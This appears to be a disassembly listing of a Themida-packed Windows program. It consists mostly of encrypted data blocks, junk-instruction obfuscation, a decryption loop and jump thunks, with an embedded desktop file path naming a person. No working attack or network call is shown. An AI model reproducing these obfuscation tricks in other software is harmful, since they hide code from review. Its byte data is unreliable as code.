dd 244C8F8Ah, 0B40C1493h, 7372229h, 14FDA63h, 126FA67h
dd 5E051218h, 7DAC4DCFh, 45A41622h, 13E1627h, 56621281h
dd 141C2D03h, 14AEA4C9h, 7AD1D63h, 88251218h, 133C6BB1h
dd 4E49100h, 0E9741269h, 1251282h, 58E64BE0h, 5015EE9h
dd 50156B1h, 1251203h, 0FBE6434Dh, 0D0CEA29Dh, 30B82FBFh
dd 13009F34h, 98B013C6h, 80230049h, 426E8209h, 70A01D93h
dd 6125120Ch, 852AE28Dh, 1251203h, 4AA89FE0h, 0B723008Eh
dd 34909B3Bh, 0B923001Ah, 125121Bh, 0E9761266h, 1251205h
dd 5AE64923h, 5014E08h, 5015641h, 1251279h, 4DE64173h
dd 0B36B044Ch, 7AD1D87h, 88251206h, 132697B6h, 6BC4ED87h
dd 2CD41C0h, 21251260h, 887ED16Bh, 80213644h, 1C213648h
dd 42251206h, 0FC56D150h, 453799A4h, 42DF26h, 0CD9F7401h
dd 0B7B5A854h, 0BCA85288h, 7325CE6h, 53219F8Bh, 759D1414h
dd 32248002h, 13265F45h, 0C0EA3966h, 0FCB8996Ch, 0E823001Fh
dd 125120Ah, 39CC367Eh, 0B3C5F838h, 0D9A9747Dh, 0E983125Ah
dd 8BA4F305h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 0F3816646h, 6AAEA7h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6DF2AC3h
dd 8BADB3DDh, 0A1DB43C3h, 0A1B27960h, 0FB91C832h, 0F5383EF1h
dd 0E5303616h, 0A1AB1D16h, 0F3F38C32h, 0F7F89EF1h, 0EF848BE2h
dd 1A0B2854h, 1C8E7754h, 0A1DBA4B9h, 0A1B2DA63h, 0F8911932h
dd 0ED38D5F1h, 0E5304216h, 0A1A72716h, 0F0F09132h, 0AA9940F1h
dd 693A8287h, 0A1B7B53Dh, 2C3A1932h, 0A7A3977Bh, 8EB0FBB1h
dd 0D4B12520h, 0E80C123Bh, 0A1B7DA13h, 0F2E17D46h, 0A209F2B9h
dd 28B11936h, 0B3BAB9B7h, 0A82CCB34h, 5EB7379Fh, 22E9CAE1h
dd 0B390818Fh, 0B6C56434h, 0A2096162h, 28B11936h, 0B3BAB9B7h
dd 592CCB34h, 5EB7379Bh, 0CBE9CAE1h, 0A2599F32h, 81B16432h
dd 28EEF16Dh, 20B53D4Eh, 0B8B5A876h, 0E6B14632h, 0E3A6E065h
dd 4C373074h, 28A323B2h, 0B380A5B7h, 1871B934h, 0EF3BB5C7h
dd 5730EA52h, 3C925140h, 0A7A3051Fh, 793DF753h, 49E0C858h
dd 0A1B16431h, 0F8726B12h, 0A59555BBh, 0A595C8B3h, 0A1B1462Bh
dd 0C0727273h, 0B361D1D4h, 0A1BE2119h, 86286432h, 12445776h
dd 3A744E40h, 0A5B8AD87h, 0AEB5EE8Eh, 0A1B2DFB6h, 0F3B1FB32h
dd 0A1B1CBDAh, 62EB4432h, 85E5BB68h, 85F59836h, 0A1B19136h
dd 62E30432h, 0D21728BAh, 0BCBF912Eh, 3C3A4EC9h, 0A7A34057h
dd 80D48FB1h, 0AEB11F20h, 0A1B1B9B6h, 0AAE22632h, 0B3A286A7h
dd 5A3AC834h, 0A2022153h, 0A1DB6432h, 0A1B2DA63h, 0F8911932h
dd 0ED38D5F1h, 0E5304216h, 0A1A72716h, 0F0F09132h, 0ABC86BF1h
dd 3DB586B3h, 0A10F050Bh, 0C7B31915h, 243C74B9h, 0A7A4309Ch
dd 49E02358h, 0A1B19131h, 0F8729112h, 0A59528BBh, 0A59576B3h
dd 0A1B1192Bh, 972DD73h, 3DDA974h, 942CA86Ah, 21B78331h
dd 714E56F5h, 25BEA4B7h, 0A1B132D2h, 65569854h, 0A73A83B2h
dd 2AB14632h, 0B391FEBFh, 0F6891034h, 0AE4A4954h, 0A1B15FB7h
dd 0F6B15832h, 0A1B11ADAh, 62EEAC32h, 85CDCF6Dh, 85F5A236h
dd 0A1B18D36h, 62E68F32h, 1D45505Ch, 0C95AAB44h, 0C434305Dh
dd 0C7B79E15h, 0A3B53EB3h, 90352C30h, 18B19131h, 0A42221ACh
dd 3D89E554h, 0DC343D52h, 88B11932h, 0B3B151BFh, 217ECC34h
dd 0AE59214Ah, 0A1B1FAB7h, 0F2B1A232h, 0A1B167DAh, 62EA1232h
dd 85ED9069h, 85F50D36h, 0A1B15336h, 62E26032h, 3CBAC0C7h
dd 0A7A3E40Bh, 0BAC4E9BBh, 20D73420h, 0AB11F4Ah, 0A187093Dh
dd 0A1DB4632h, 0A1B2CB67h, 0FC919132h, 0CD3895F1h, 0E5306016h
dd 0A1AA3616h, 0F4F41932h, 9E7D88F1h, 0BAE7C404h, 720A450Ch
dd 0BC3CB857h, 54B7DA21h, 0A1B3C3DBh, 0B576B232h, 0A0B0198Ch
dd 0F2B1E674h, 0A1B145DAh, 62EA0332h, 85ED1869h, 85F54936h
dd 0A1B17836h, 62E27132h, 0A2CBE43h, 8A3800D5h, 7A3020BFh
dd 243C9880h, 0A7A4E79Ch, 286137CEh, 0B3B3F58Fh, 0AE71B734h
dd 0A1B331B6h, 0F7B1E632h, 0A1B145DAh, 62EF0332h, 85C5186Ch
dd 85F54936h, 0A1B17E36h, 62E77432h, 36C71BBEh, 28D66D7Ch
dd 0B3A60BBFh, 0C789A234h, 0AEB3930Fh, 0A1B180B7h, 0F7B10E32h
dd 0A1B131DAh, 62EF3932h, 85C5056Ch, 85F5C736h, 0A1B13536h
dd 62E7D732h, 1B99C348h, 0A2DDF6CEh, 0A1B135DBh, 0D9C51832h
dd 44EC3586h, 0C7B73EB3h, 0AECB7C0Fh, 0A1B07EB6h, 280CEB32h
dd 2AB7761Ah, 0B3B113AFh, 99307F34h, 24BEECAEh, 0A1B1465Fh
dd 8360B6BBh, 5D079720h, 49B3B0B2h, 0A1EAE13Dh, 0A1DB3232h
dd 0A1B2F165h, 0FE918C32h, 0DD3819F1h, 0E5302716h, 0A1AC9516h
dd 0F6F6C832h, 84211EF1h, 36A415D2h, 0C7E721D5h, 0A1B7F4B3h
dd 8B3449F2h, 0CBB12332h, 0A259C332h, 81B1C832h, 28EBA768h
dd 20B51666h, 0BBB53D76h, 0E3B18C32h, 0A81B8560h, 5A9315ADh
dd 7B3AF70Fh, 0A1B0A3DBh, 0A0B1DA32h, 16BE4C33h, 0F3494FAh
dd 2AB79944h, 0B39613BFh, 2161DC34h, 6134BFC4h, 0A0A24C3Dh
dd 0A1DB6432h, 0A1B2DA63h, 0F8911932h, 0ED38D5F1h, 0E5304216h
dd 0A1AA2716h, 0F0F09132h, 299D4DF1h, 3310FE30h, 4989B273h
dd 0A1EC9C3Dh, 0A1DB8C32h, 0A1B2AE60h, 0FB912332h, 0F538CBF1h
dd 0E530CC16h, 0A1A96016h, 0F3F33232h, 4844E2F1h, 28E29B7Dh
dd 0B396D38Fh, 343A7834h, 0A7A389AFh, 814075B9h, 0D9316220h
dd 24BE4137h, 0A1B1192Dh, 0AD1C01B9h, 0D9314020h, 25BE7035h
dd 0A1B191E2h, 0A1B1C2DBh, 0F82D8532h, 588992FAh, 0C7937700h
dd 0A43EB4B3h, 0A1CEC33Dh, 14382332h, 0A7A3B6F7h, 0A1B1C3DBh
dd 4645F932h, 0E4B2E8BDh, 8006B2BFh, 0C9B7F4B2h, 0A1EEC33Dh
dd 0A1DB2332h, 0A1B27960h, 0FB91C832h, 0F5383EF1h, 0E5303616h
dd 0A1A61D16h, 0F3F38C32h, 363397F1h, 0D9304588h, 0AE946E39h
dd 0A1B1FCB7h, 0A4386B32h, 0C7B13232h, 742BC2B3h, 0A1B1D7DBh
dd 0F2B12C32h, 0A1B120DAh, 62EAB132h, 85ED4169h, 85F5E536h
dd 0A1B12E36h, 62E25A32h, 0A4DBA818h, 6AD69114h, 0A1B19B0Fh
dd 0A1DB9132h, 0A1B22061h, 0FA916432h, 0FD3869F1h, 0E5301D16h
dd 0A1A88816h, 0F2F24632h, 0BC5681F1h, 0A88C83A8h, 0B399D987h
dd 0A1918D34h, 14B83232h, 0A7A31597h, 0A1B18D8Ah, 0A1BCAF32h
dd 46292332h, 7BD4D261h, 8D9C73D3h, 0AEA599C2h, 48E1FB85h
dd 0A1B11938h, 90D782C9h, 4CB244A1h, 0A5381ADCh, 4630F716h
dd 1C3CDF4Ch, 0A7A63655h, 0F9BDBFBFh, 82091F25h
dd 0A2C6EA67h, 0B395E3B7h, 607E0834h, 0A0B1DADBh, 16BE4C33h
dd 0F3494FAh, 2AB79944h, 0B39613BFh, 2161DC34h, 0E983BFC4h
dd 58A4F305h, 0B5316060h, 612161Dh, 1DC98D89h, 60610612h
dd 9E8h, 7D16E500h, 0BB79D298h, 0F55A67C5h, 89606161h
dd 1226C585h, 4ED98006h, 0FC00B61h, 6E84h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0F155B2Ch, 88Bh, 858B6000h, 612154Dh, 0B9950B61h, 8D061213h
dd 124E4BB5h, 0BDBD8B06h, 0B8061207h, 3, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 16h, 5CC35141h, 88BF4A87h
dd 0FF2CC9AAh, 5DF81E6h, 407E31BAh, 23819D29h, 0C08B0612h
dd 8E9h, 40A54E00h, 5443F459h, 1BD833Fh, 6122Fh, 0BD830975h
dd 6122149h, 50197400h, 0B8C08B53h, 403h, 2B98589h, 9D8D0612h
dd 614AD70h, 585BD3FFh, 2149BD83h, 74000612h, 0B8535017h
dd 403h, 2B98589h, 9D8D0612h, 614AA11h, 585BD3FFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 79C35242h, 1AE8A93h
dd 0AE9h, 0C7D6A900h, 86CD1F7Dh, 8B321281h, 57006AD7h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 6672D1C9h, 8B3C00BAh, 69958BC0h, 61061228h, 5A688D8Dh
dd 0AE90617h, 9D000000h, 0C30A7F81h, 2C4C9543h, 0CD8D8921h
dd 6A06122Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 1293C356h, 858BA09Ch, 612331Dh
dd 31BD85C7h, 72F00612h, 0B58B0000h, 6122ED1h, 1185C7h
dd 612h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 661294C3h, 0FF3AAEBAh, 120C89B5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 5DF4230Fh, 0D8EECA32h, 8B669D85h, 8195FFD6h
dd 6A061227h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0D259C351h, 170FF170h, 668723D0h
dd 6AE9A9BAh, 0D195FF00h, 8B061229h, 2B4AEBC0h, 0E3DDF67h
dd 162CFF0h, 20A6A684h, 806E4064h, 8F8E04F3h, 0BAE428FBh
dd 0A4A86946h, 0F10B29A3h, 92C93DD0h, 457934F9h, 3BDF359Bh
dd 370A1B02h, 63D14819h, 0B69423EFh, 9A1317C8h, 0DA80BFA8h
dd 1B9CDBBEh, 7C4062DCh, 0D78D8DBAh, 6A06175Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0A865C357h, 2DCD8D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 379D5BC3h, 0C8B70F60h
dd 14E9h, 0DA36800h, 61FA69F8h, 0D7574409h, 7257B9DEh
dd 0E172CDD3h, 0AE86163h, 24000000h, 0A1CE56CFh, 669F797Eh
dd 0AE970h, 0ADBA0000h, 8FCB49A7h, 22F12DFEh, 58D315Bh
dd 0C7061215h, 1231BD85h, 691406h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F7E443C4h
dd 0C58D67F9h, 85C76E19h, 6120011h, 0
; ---------------------------------------------------------------------------
mov ax, 0ECEDh
push dword ptr [ebp+61214C1h]
push 0
push esi
call sub_5D1669
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1669 proc near ; CODE XREF: Themida_:005D1661p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5D1669 endp
; ---------------------------------------------------------------------------
inc ebp
mov [ebp+612162Dh], ecx
call dword ptr [ebp+6122781h]
push 0
push ecx
call sub_5D1691
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1691 proc near ; CODE XREF: Themida_:005D1689p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5D1691 endp
; ---------------------------------------------------------------------------
jo short near ptr loc_5D170E+2
fmul qword ptr [edx]
imul ebp, esp, 6A7766h
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5D1702
; ---------------------------------------------------------------------------
dw 838Ch
dd 1BA6E3C4h, 0CFC0696Eh, 7F2C02B2h, 5F68FBCFh, 0F8CFE6E6h
dd 7BE68ABBh, 3ADAB403h, 0CEB371AEh, 11BA2114h, 530D148Ah
dd 6E8409A1h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h
dd 0B6722024h, 0C95D75AEh, 0D16C54F2h
; ---------------------------------------------------------------------------
aas
movsd
loc_5D1702: ; CODE XREF: Themida_:005D16B4j
call near ptr loc_5D170E+1
xchg bh, [edi+7906435Eh]
xlat
loc_5D170E: ; CODE XREF: Themida_:loc_5D1702p
; Themida_:005D16A1j
shr al, 0Ch
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
mov ds:9C39C401h, al
icebp
sbb dword ptr [ebx-0Eh], 0FFFFFFDEh
scasb
or eax, 1D9D9533h
adc al, [esi]
pop ecx
pop eax
mov edx, ecx
add eax, 6484h
add bl, 5Fh
xor esi, esi
pusha
xor [ebp+6120F19h], edi
mov esi, [ebp+6123389h]
popa
loc_5D1743: ; CODE XREF: Themida_:005D17A9j
push dword ptr [esi+eax]
mov ecx, [ebp+6121C9Dh]
pop edi
mov edx, [ebp+6122D75h]
sub edi, 0B9F32BFh
mov [ebp+6120B41h], ecx
xor edi, 3EC10214h
mov bx, 0FB41h
xor edi, 42BE15E0h
mov bh, 0D3h
push edi
mov bx, si
pop dword ptr [eax+esi]
sbb cx, 0F21Ah
mov dx, si
sub esi, 4
mov edx, 5DD0CF95h
cmp esi, 0FFFF9C24h
jnz loc_5D17A7
mov edx, [ebp+612330Dh]
jmp loc_5D17B3
; ---------------------------------------------------------------------------
db 0F3h
; ---------------------------------------------------------------------------
cdq
dec esi
xor ecx, [edi-4Fh]
retf
; ---------------------------------------------------------------------------
xchg eax, edi
loc_5D17A7: ; CODE XREF: Themida_:005D178Ej
mov bh, 0B5h
jmp loc_5D1743
; ---------------------------------------------------------------------------
mov eax, ds:38E64948h
loc_5D17B3: ; CODE XREF: Themida_:005D179Aj
call near ptr locret_5D17BF+2
dec eax
ror byte ptr [ecx-5F4D6ADFh], cl
locret_5D17BF: ; CODE XREF: Themida_:loc_5D17B3p
retn 0BE77h
; ---------------------------------------------------------------------------
dw 6B34h
dd 0E85A440Fh, 13h, 0A396059Ah, 0DC5F5EA3h, 0F333B286h
dd 9FD838C9h, 0FF5828Fh, 86h, 0C2815800h, 65ECh, 0FEE68166h
dd 6631B9CDh, 0C181176Dh, 0E892B31Dh, 25BDB58Bh, 32FF0612h
dd 56605FFCh, 8B1B589h, 0F5E0612h, 48Ch, 49BB6600h, 0C781611Bh
dd 752FC5F6h, 7E8h, 7AA52800h, 746DD8C6h, 81585E56h, 0EB2E9C7h
dd 0C2B86672h, 0AEF8179h, 811F685Eh, 5EBEB5C8h, 858B5709h
dd 61228D1h, 0F60028Fh, 0F38AFEB7h, 4EA8361h, 68D0Fh, 0B58B0000h
dd 61232C9h, 1E981h, 850F0000h, 0FFFFFF92h, 0D4712ADEh
dd 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h
dd 5E265AF1h, 8A33F2EFh, 0B44E6033h, 67A5E4FFh, 8A1732F8h
dd 0E2A3BEA0h, 672026D1h, 0C5A3BA79h, 1B2021CCh, 8A08DED7h
dd 1D293333h, 98263383h, 0C580B6C0h, 157635B1h, 8F7BABD6h
dd 0DD963AFh, 9E342B89h, 98266483h, 15235935h, 8F7B9B1Fh
dd 1DAB634Bh, 9E316E3Eh, 0D5B3CC03h, 932021BDh, 0A1A23C14h
dd 1526336Ah, 8F7B9BB0h, 0AACE639Ch, 0D826334Dh, 36A3BEF6h
dd 0C820240Eh, 0C58EB624h, 677635C3h, 8A3512FFh, 94E2B033h
dd 0C58EB617h, 1576355Ah, 8F7BAB23h, 0DD96355h, 9E342BF4h
dd 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh
dd 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h
dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h
dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h
dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh
dd 152637A8h, 8F7BA588h, 53ABBE9Ch, 20202413h, 93h, 71E7FC78h
dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 175ECBB5h
dd 0EA8D8D06h, 2B06175Eh, 5E983CFh, 8D8DC88Bh, 6175FFBh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1C35242h
dd 6F48DF81h, 8D89746Bh, 6122DCDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 6C35040h, 0F8B01D3h, 85C7D2BFh
dd 61231BDh, 5B04h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 42C35646h, 0B7EF97EDh, 8C0F5335h, 6
dd 3041B531h, 85C70612h, 6120011h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5D1A63
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1A63 proc near ; CODE XREF: Themida_:005D1A5Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5D1A63 endp
; ---------------------------------------------------------------------------
mov dl, 0BAh
add al, 37h
jecxz short loc_5D1AE4
push dword ptr [ebp+6120835h]
xor [ebp+6122419h], edx
call dword ptr [ebp+6122781h]
push 0
push edx
call sub_5D1A96
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1A96 proc near ; CODE XREF: Themida_:005D1A8Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5D1A96 endp
; ---------------------------------------------------------------------------
dw 20C6h
dd 0E989FC44h, 12h, 0AFA788Ah, 0C12E0BF0h, 8E9AA192h, 0CE921CC5h
dd 0E2819E25h, 377DEC18h, 281DB58Bh, 6A0612h, 29D195FFh
dd 0C08B0612h, 0D5E24DEBh, 8D94B09Eh, 8EC0A284h
; ---------------------------------------------------------------------------
loc_5D1AE4: ; CODE XREF: Themida_:005D1A77j
adc eax, [ebx]
dec esp
mov ds:0E13B14F8h, al
retf 177Bh
; ---------------------------------------------------------------------------
db 0ACh
dd 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 0C9EB4883h
dd 0EFCFB3A0h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h
dd 2AE0F27Dh, 20E04872h, 8CD68CDEh, 8D55084Eh, 1761558Dh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0C7BF0F4Ch, 2DCD8D89h, 6A0612h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 277426C3h, 80FCED39h, 0B50BCD71h, 6121AC5h, 0AE9h, 0F1CD2000h
dd 0A03EDEC2h, 0C7F5C71Eh, 1231BD85h, 6D3006h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 9ED0FC1Dh, 85C70385h, 6120011h, 0
; ---------------------------------------------------------------------------
sbb di, 5653h
push dword ptr [ebp+61232E5h]
push 0
push eax
call sub_5D1BD6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1BD6 proc near ; CODE XREF: Themida_:005D1BCEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5D1BD6 endp
; ---------------------------------------------------------------------------
dw 77D8h
; ---------------------------------------------------------------------------
cmp al, 38h
aad 1Ch
retn 6E8h
; ---------------------------------------------------------------------------
align 10h
dd 5C60000h, 1C04694Ah, 0FF5B6EB4h, 12278195h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0C78177A6h, 367A5385h, 5EC6BF66h, 95FF006Ah, 61229D1h
dd 7CEBC08Bh, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh, 0E0598472h
dd 0B185F4CBh, 0E23BFFA1h, 8E5A4984h, 0E302B385h, 6D272884h
dd 5D56EC79h, 0EB7F286Ch, 0C3F3ED26h, 1CD14BBAh, 8BEC9CFEh
dd 6650DD1Bh, 2D8FD053h, 8E07AEB8h, 0D52F4BE8h, 0E2CA339h
dd 936BA091h, 647E7BCh, 1B0F4575h, 63FA0301h, 0D03E0Eh
dd 0EA1C7DB2h, 0F3A9189Ch, 0BCE79B5Fh, 0D788C7FBh, 20C42209h
dd 78D211D2h, 861AFE72h, 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh
dd 853B0000h, 61217F1h, 36840Fh, 853B0000h, 612335Dh, 2A840Fh
dd 853B0000h, 6122FD1h, 1E840Fh, 853B0000h, 6123081h, 12840Fh
dd 0BD830000h, 61214ADh, 5840F01h, 0E9000000h, 5Fh, 5203D08Bh
dd 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h
dd 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h, 10840FC9h
dd 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh, 83000000h
dd 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h, 6124E4Bh
dd 5B8h, 61E3FF00h, 0E9D00BC3h, 8Ch, 1347A293h, 445C3A43h
dd 6D75636Fh, 73746E65h, 646E6120h, 74655320h, 676E6974h
dd 614D5C73h, 6D697472h, 72614320h, 656E6F62h, 7365445Ch
dd 706F746Bh, 6169445Ch, 2E676F6Ch, 657865h, 13h dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D2D36
; ---------------------------------------------------------------------------
push 61764BAh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 61765BDh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 6176775h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 61767CAh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 617686Dh
jmp loc_59027A
; ---------------------------------------------------------------------------
push 61768F0h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 6176D60h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 6176FC1h
jmp loc_59027A
; ---------------------------------------------------------------------------
push 61770C9h
jmp loc_59027A
; ---------------------------------------------------------------------------
db 98h
dd 0D177BD1Bh, 0BB1F74Dh, 41E72D8Bh, 761C62C2h, 17559BF5h
dd 52AE2F8Bh, 8DE3660Ch, 0C91FA147h, 95FDD83h, 0BC008CC3h
dd 21F75137h, 153162B3h, 0A0AE4197h, 427EC422h, 0F487DD5Ch
dd 0CFDAC022h, 320CD71Bh, 64CE27E0h, 9474CE5Bh, 0D5272A2Eh
dd 0B88350B1h, 0FA429D5Bh, 86509498h, 4421F247h, 0CDB47DAh
dd 0ECDE0E19h, 65E1955Ah, 415AF7CBh, 2Eh, 0FF0C9DA8h, 5E8E2AD8h
dd 7599EBC0h, 20B30D8Fh, 0A4E8EC4Eh, 21F22712h, 77E376E0h
dd 0DE0E2168h, 8531F688h, 5AF7E809h, 0F2E5h, 97154C00h
dd 1FA0AE41h, 319236C9h, 0A88CFB3h, 3E4719ACh, 0CAD30246h
dd 48FDEF3h, 41AF1116h, 0C4D265C3h, 0A6AAF046h, 27E04C96h
dd 0F422A389h, 0E04723B0h, 0EB3DA727h, 699D1B89h, 0E047DE25h
dd 60B21C27h, 0A0F6741Ah, 0FF83690Dh, 2E7216A9h, 27E047A5h
dd 769BB25h, 0E328821h, 0F24C08CAh, 0AA2D1321h, 61CBF052h
dd 16ACFD1Bh, 0B6FA76F2h, 0DE0E582Dh, 318707ADh, 187ACC9Eh
dd 1AF58A4Ch, 0BADE48D8h, 99FB51D4h, 0D22EAF95h, 0B65E68Ch
dd 0AFE731B2h, 0D9C6C9F5h, 0CD5h, 347ADE5Bh, 6EB40A8Eh
dd 0A4EA48C8h, 0E3297FFEh, 1E64BC3Dh, 7BFCC2E0h, 0B639DF25h
dd 0F072185Eh, 2CAA5096h, 0C14D84CAh, 0F756767Dh, 0F2237421h
dd 991D037Fh, 328C5743h, 0E44E27E0h, 3D931482h, 59AF3319h
dd 6C92F4C6h, 0A8EE48C6h, 7103866Ch, 0B04395F3h, 9D9B7CDEh
dd 1692B60Ch, 0C957AD30h, 885AED4Bh, 13C45A26h, 2C9621F2h
dd 0ECA22D99h, 0AC3EDE0Dh, 1CC33FCBh, 0BD9F5AF8h, 6000000h
dd 1D419715h, 0C75AB637h, 8CDE36B9h, 28A9B72Ah, 0C9D13DD0h
dd 4A27E036h, 56B02ECCh, 0E9E8F1C3h, 0C138B503h, 17BD0355h
dd 26AC3F99h, 0D91D4183h, 0DE0DF33Bh, 7FD95B01h, 0E0C9E72Dh
dd 9D72B6DAh, 5DD81924h, 0D753CFF3h, 39244093h, 60E48AD4h
dd 53A5770Ah, 0EF0283F1h, 3BF86E22h, 6488DA80h, 315FA4E8h
dd 0D252D439h, 63C52F74h, 316973Dh, 29F1CC1h, 64BD0F2Fh
dd 0F5AFE9E9h, 0D2998689h, 5800000Bh, 91377DDBh, 0CB71B70Dh
dd 1A7ED4Bh, 36DC2282h, 0D7155BB5h, 126EEFCBh, 4DA326CCh
dd 89DF6107h, 0C91F9D43h, 7CC04C83h, 21F75777h, 15F12273h
dd 50F63C94h, 152E74D2h, 0AE419715h, 0A0C422A0h, 9F64A824h
dd 5B27E032h, 32FE05F1h, 92FC27E0h, 0BDEC0A30h, 0BD9FE307h
dd 7F21F21Ch, 0ACFE56D9h, 0E322AD19h, 2CBEDE0Dh, 2943BF4Bh
dd 0E1F5AF8h, 63000000h, 0FA2FA7Dh, 36FADB3Dh, 89Ah, 7A0C9D6Dh
dd 264A9CFAh, 0F21BD4E2h, 82C9621h, 0ADABD7A7h, 2A8CB083h
dd 0CD2BA9B7h, 3363E187h, 0D29E4EFh, 0C240E6DEh, 0ADFFD164h
dd 0C7D6375Bh, 0E0219BEFh, 0D6D32064h, 0AD17DE0Dh, 1A86F95Bh
dd 0B949F5E7h, 0FC7CDD51h, 83AE7264h, 47273784h, 0F613ED4h
dd 0CEAC93ADh, 0ECD2F650h, 0AF81146Ah, 381274Dh, 58A612A5h
dd 82B54993h, 23A19F60h, 5BD97FC5h, 931CE72Bh, 74DEB549h
dd 6FEB8F22h, 4993D82Bh, 56B822B5h, 0B66C808Ah, 0E8CFD14Ah
dd 0BC12967Ch, 87F55729h, 0C369AF09h, 0CA50E345h, 75B9DDDFh
dd 0B35BB14Bh, 0CBD91F89h, 2247A8F6h, 0E5F4B847h, 0D0D9BF21h
dd 0B482C6EAh, 36AD651Eh, 0C13D91CCh, 6516767Dh, 10A74A1h
dd 564BC115h, 0B581E371h, 7F75B1D9h, 0C9EDCFDAh, 0A85A5168h
dd 5C1CA28h, 4CE9DBB0h, 30CCE3B7h, 34787CDEh, 8986812Ah
dd 95FE3C9h, 1D42A476h, 0F9A20B3h, 0C04589ADh, 0B283971Ch
dd 7CFC8E0Ch, 6FC19326h, 94B80ADCh, 189A30AEh, 80266CBEh
dd 8CEA6802h, 0C21155F9h, 8BBAD1Bh, 0A1FA4C9Eh, 9A3B730Eh
dd 1AD6C3C6h, 0A000000Ah, 0D97FC523h, 13B9FF55h, 49EF3593h
dd 7E246ACAh, 1F5DA3FDh, 5AB63783h, 95EB6E14h, 0D127A94Fh
dd 1167E58Bh, 0C40894CBh, 21F7553Fh, 7F396ABBh, 0A65EED1Eh
dd 0E00F9162h, 0E6EF5927h, 9CFE2C73h, 9B1AB02Eh, 86D8AA3Dh
dd 76F5942Dh, 74616406h, 9C5h, 246ACE4Bh, 5EA4FA7Eh, 94DA38B8h
dd 0D3196FEEh, 0E54AC2Dh, 6BECD2D0h, 0A629CF15h, 0E062084Eh
dd 1C9A4086h, 0B13D74BAh, 0F755666Dh, 0E2136421h, 87059715h
dd 7ACC9E31h, 58D9E7h, 0B5C9ACBAh, 66AACEF4h, 21F22758h
dd 5975B01Ah, 1FB0814Bh, 3F635950h, 0C2A16DFBh, 72056F19h
dd 0E307BDECh, 6BEA7EFDh, 5559BB0Dh, 3ED778D9h, 0B9EF7C87h
dd 81068B57h, 9D1913EBh, 0E89D8A59h, 84E6500Bh, 0EBD1F55Fh
